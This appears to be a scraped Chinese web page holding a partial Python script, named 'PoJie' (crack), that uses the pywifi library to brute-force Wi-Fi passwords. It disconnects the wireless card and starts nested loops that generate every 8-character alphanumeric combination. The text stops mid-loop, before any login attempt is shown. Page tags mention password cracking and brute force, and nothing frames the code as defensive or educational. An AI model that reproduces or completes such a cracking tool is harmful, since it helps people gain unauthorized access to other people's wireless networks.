admin管理员组

文章数量:1540708

[Python] 纯文本查看 复制代码import time#时间

import pywifi#**wifi

from pywifi import const#引用一些定义

class PoJie:

def __init__(self):

wifi=pywifi.PyWiFi()#抓取网卡接口

self.iface=wifi.interfaces()[0]#抓取第一个无线网卡

self.iface.disconnect()#测试链接断开所有链接

time.sleep(1)#休眠1秒

#测试网卡是否属于断开状态,

assert self.iface.status() in [const.IFACE_DISCONNECTED,const.IFACE_INACTIVE]

def readPassWord(self):

str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"#这里加上你想要的字符

print("开始破解:")

for a in range(len(str)):

for b in range(len(str)):

for c in range(len(str)):

for d in range(len(str)):

for e in range(len(str)):

for f in range(len(str)):

for g in range(len(str)):

for h in range(len(str)):

myStr = str[a] + str[b] + str[c] + str[d] + str[e] + str[f] + str[g] + str[h]# 生成

本文标签: 密码软件下载暴力Pythonwifi